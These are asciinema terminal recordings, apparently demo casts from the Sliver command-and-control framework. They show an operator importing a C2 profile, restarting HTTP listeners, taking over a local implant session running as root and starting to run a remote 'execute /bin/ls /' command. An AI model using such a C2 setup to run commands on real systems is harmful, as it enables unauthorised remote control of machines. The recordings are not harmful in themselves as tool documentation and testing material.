[40.642533, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.649219, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[56D\u001b[9C\u001b[272D\u001b[56C\u001b[?25h"]
[41.224521, "o", "\u001b[?25l"]
[41.231473, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[41.248213, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.249567, "o", "\u001b[272D\u001b[1A\u001b[57D\u001b[9C\u001b[272D\u001b[57C\u001b[?25h"]
[42.074388, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[42.08925, "o", "\u001b[6n"]
[42.098852, "o", "\u001b[1m\u001b[32mc2profiles \u001b[39m\u001b[22mimport \u001b[1m\u001b[38;05;244m-f \u001b[39m\u001b[22mdefault_c2profile \u001b[1m\u001b[38;05;244m-n \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m-o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[42.099432, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[58D\u001b[9C\u001b[272D\u001b[58C\u001b[?25h"]
[42.897783, "o", "\u001b[58D\u001b[9C"]
[42.901519, "o", "\u001b[6n"]
[42.908676, "o", "\u001b[272D\u001b[58C\u001b[0J"]
[42.908794, "o", "\u001b[272D\r\r\n"]
[42.911002, "o", "\u001b[0 q\r\n"]
[42.990316, "o", "\u001b[0G"]
[42.990462, "o", "\u001b[2K"]
[42.993166, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mRestart HTTP/S jobs? \u001b[0m\u001b[0;37m(y/N) \u001b[0m"]
[42.993645, "o", "\u001b[?25l\u001b7\u001b[999;999f\u001b[6n"]
[42.995378, "o", "\u001b8"]
[42.995893, "o", "\u001b[?25h\u001b[6n"]
[44.328057, "o", "y"]
[45.019835, "o", "\u001b[1D\r\n\u001b[1B\u001b[0G\u001b[1A\u001b[0G"]
[45.03526, "o", "\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mRestart HTTP/S jobs? \u001b[0m\u001b[0;36mYes\u001b[0m\r\n"]
[45.05739, "o", "\r\u001b[2K\u001b[1m\u001b[31m[!] \u001b[0mJob #1 stopped (tcp/http)"]
[45.05942, "o", "\r\u001b[2K\u001b[1m\u001b[31m[!] \u001b[0mJob #1 stopped (tcp/http)"]
[45.114122, "o", "\r\n"]
[45.127711, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[45.129791, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[45.130549, "o", "\u001b[6n"]
[45.13363, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[45.134555, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[46.627644, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[46.641586, "o", "j\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[46.643827, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
[46.815391, "o", "\u001b[?25l"]
[46.817358, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[46.834233, "o", "jo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[47.020359, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[47.023847, "o", "\u001b[6n"]
[47.035178, "o", "job\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C"]
[47.035398, "o", "\u001b[272D\u001b[12C\u001b[?25h"]
[47.186485, "o", "\u001b[?25l"]
[47.202742, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[47.210579, "o", "\u001b[1m\u001b[32mjobs\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[47.211902, "o", "\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
[47.436803, "o", "\u001b[13D\u001b[9C"]
[47.438373, "o", "\u001b[6n"]
[47.44354, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
[47.444708, "o", "\u001b[0 q\r\n"]
[47.472222, "o", " ID Name Protocol Port Domains \r\n==== ====== ========== ====== =========\r\n 3 http tcp 80 \r\n\r\n"]
[47.487801, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[47.488769, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[47.493844, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[47.494852, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[48.939856, "o", "\u001b[?25l"]
[48.945319, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[48.958852, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[48.959329, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
[49.115651, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[49.128682, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[49.12958, "o", "\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[49.287707, "o", "\u001b[?25l"]
[49.292955, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[49.30288, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[49.303432, "o", "\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
[49.485156, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[49.500361, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[49.504271, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
[50.263769, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[50.267739, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
[50.269312, "o", "\u001b[0 q\r\n"]
[50.276245, "o", "Exiting...\r\n"]
[50.293761, "o", "# "]
[51.372846, "o", "^C"]
[51.379375, "o", "\r\n"]
[51.379682, "o", "# "]
[51.813502, "o", "\r\n"]
@@ -0,0 +1,307 @@
{"version": 2, "width": 107, "height": 52, "timestamp": 1714577344, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.1326, "o", "\u001b[?2004h"]
[0.140706, "o", "root@98df0494f659:~# "]
[0.710776, "o", "."]
[0.724207, "o", "/"]
[1.043813, "o", "s"]
[1.147166, "o", "l"]
[1.330001, "o", "i"]
[1.481599, "o", "v"]
[1.596179, "o", "e"]
[1.746669, "o", "r"]
[1.846813, "o", "-"]
[1.98099, "o", "s"]
[2.064556, "o", "e"]
[2.166834, "o", "r"]
[2.308631, "o", "ver "]
[2.734668, "o", "\r\n"]
[2.736753, "o", "\u001b[?2004l\r"]
[3.810137, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain dash\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[3.81282, "o", "\r\n"]
[3.840912, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.842733, "o", "\u001b[1 q"]
[3.844801, "o", "\u001b[?25l"]
[3.8449, "o", "\u001b[107D"]
[3.846077, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[3.848514, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[3.848844, "o", "\r\r\n\u001b[0K"]
[3.849682, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[6.306709, "o", "\u001b[9D\u001b[9C"]
[6.307527, "o", "\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession e1bcdc51 CURRENT_RESIST - 127.0.0.1:59370 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 15:29:11 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.309613, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[6.310035, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
[7.953828, "o", "\u001b[?25l\u001b[107D"]
[7.955531, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.963749, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D"]
[7.964016, "o", "\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
[8.029707, "o", "\u001b[?25l\u001b[107D"]
[8.036125, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.039629, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
[8.094035, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.10045, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
[8.398557, "o", "\u001b[12D\u001b[9C\u001b[6n"]
[8.399508, "o", "\u001b[107D\u001b[12C"]
[8.399706, "o", "\u001b[0J\u001b[107D\r\r\n"]
[8.402185, "o", "\u001b[0 q\r\n"]
[8.429132, "o", "\u001b7\u001b[?25l"]
[8.429794, "o", "\u001b8"]
[8.430496, "o", "\u001b[0G\u001b[2K"]
[8.441592, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION e1bcdc51 CURRENT_RESIST 127.0.0.1:59370 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
[8.44459, "o", "\u001b[1A\u001b[0G"]
[9.251683, "o", "\u001b8\u001b[?25h\u001b8"]
[9.255016, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G"]
[9.256809, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[9.258119, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION e1bcdc51 CURRENT_RESIST 127.0.0.1:59370 98df0494f659 root linux/amd64\u001b[0m"]
[9.260355, "o", "\r\n"]
[9.272535, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (e1bcdc51-51db-461f-964e-3e9aa6727b09)\r\n"]
[9.308304, "o", "\r\n"]
[9.320355, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[9.320659, "o", "\u001b[1 q"]
[9.321354, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[9.323351, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[9.323863, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[11.646644, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[11.654024, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
[11.875207, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[11.881933, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.882199, "o", "\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
[12.020674, "o", "\u001b[?25l\u001b[107D"]
[12.027967, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.03527, "o", "exe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
[12.162061, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[12.163295, "o", "\u001b[6n"]
[12.16671, "o", "exec\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
[12.378537, "o", "\u001b[?25l"]
[12.382289, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.389835, "o", "execu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
[12.643075, "o", "\u001b[?25l\u001b[107D"]
[12.643948, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.650862, "o", "execut\u001b[0m\u001b[0K\u001b[49m\r"]
[12.651194, "o", "\r\n\u001b[0K"]
[12.653557, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C\u001b[107D\u001b[32C\u001b[?25h"]
[12.768298, "o", "\u001b[?25l\u001b[107D"]
[12.769352, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.774698, "o", "\u001b[1m\u001b[32mexecute\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[12.775133, "o", "\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
[12.866691, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[12.874603, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[12.875518, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
[13.114144, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[13.116795, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D"]
[13.116894, "o", "\u001b[35C\u001b[?25h"]
[13.372747, "o", "\u001b[?25l"]
[13.374034, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[13.375235, "o", "\u001b[6n"]
[13.378893, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[13.37985, "o", "\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
[13.542691, "o", "\u001b[36D"]
[13.545253, "o", "\u001b[26C\u001b[6n"]
[13.553702, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[13.560905, "o", "Execute a program on the remote system\r\n\r\n"]
[13.569592, "o", "Usage:\r\n execute [flags]\r\n\r\nFlags:\r\n -h, --help help for execute\r\n -H, --hidden hide the window of the spawned process (Windows only)\r\n -S, --ignore-stderr don't print STDERR output\r\n -X, --loot save output as loot\r\n -n, --name string name to assign loot (optional)\r\n -o, --output capture command output\r\n -P, --ppid uint32 parent process id (optional, Windows only)\r\n -s, --save save output to a file\r\n -E, --stderr string remote path to redirect STDERR to\r\n -O, --stdout string remote path to redirect STDOUT to\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n -T, --token execute command with current token (Windows only)\r\n\r\n"]
[13.584792, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[13.58496, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[13.587259, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[26D\u001b[26C\u001b[107D\u001b[26C\u001b[?25h"]
[14.037364, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[14.044114, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[27D\u001b[26C\u001b[107D\u001b[27C\u001b[?25h"]
[14.199683, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[14.21306, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.214847, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[28D\u001b[26C\u001b[107D\u001b[28C\u001b[?25h"]
[14.357009, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[14.367702, "o", "exe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
[14.897845, "o", "\u001b[?25l"]
[14.901927, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[14.910301, "o", "exet\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.910969, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
[15.391278, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.400703, "o", "exe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[29D\u001b[26C\u001b[107D\u001b[29C\u001b[?25h"]
[15.471799, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.479711, "o", "exec\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[15.480898, "o", "\u001b[107D\u001b[1A\u001b[30D\u001b[26C\u001b[107D\u001b[30C\u001b[?25h"]
[15.614302, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.624158, "o", "execu\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[15.624912, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[26C\u001b[107D\u001b[31C\u001b[?25h"]
[15.782521, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.793945, "o", "execut\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[26C\u001b[107D\u001b[32C\u001b[?25h"]
[15.86119, "o", "\u001b[?25l\u001b[107D"]
[15.861475, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.863091, "o", "\u001b[1m\u001b[32mexecute\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[26C\u001b[107D\u001b[33C\u001b[?25h"]
[15.987734, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[15.994851, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[15.995181, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[26C\u001b[107D\u001b[34C\u001b[?25h"]
[19.67185, "o", "\u001b[?25l\u001b[107D"]
[19.673708, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[19.681421, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[19.682207, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[26C\u001b[107D\u001b[35C\u001b[?25h"]
[20.019092, "o", "\u001b[?25l"]
[20.025375, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.031291, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C"]
[20.033038, "o", "\u001b[?25h"]
[20.154414, "o", "\u001b[?25l\u001b[107D"]
[20.154819, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.157803, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[26C\u001b[107D\u001b[37C\u001b[?25h"]
[20.269444, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[20.278759, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[26C\u001b[107D\u001b[38C\u001b[?25h"]
[21.306856, "o", "\u001b[?25l"]
[21.315414, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.3218, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[26C\u001b[107D\u001b[39C\u001b[?25h"]
[21.693634, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[21.69433, "o", "\u001b[6n"]
[21.701285, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/l\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.702159, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[40D\u001b[26C\u001b[107D\u001b[40C\u001b[?25h"]
[21.827077, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.838425, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[21.839936, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[26C\u001b[107D\u001b[41C\u001b[?25h"]
[21.969341, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[21.979181, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[42D\u001b[26C\u001b[107D\u001b[42C\u001b[?25h"]
[23.201983, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[23.21476, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[23.216263, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[26C\u001b[107D\u001b[43C\u001b[?25h"]
[25.596733, "o", "\u001b[?25l"]
[25.603213, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[25.610827, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[42D\u001b[26C\u001b[107D\u001b[42C\u001b[?25h"]
[26.044156, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[26.057831, "o", "\u001b[1m\u001b[32mexecute \u001b[39m\u001b[22m/bin/ls /\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
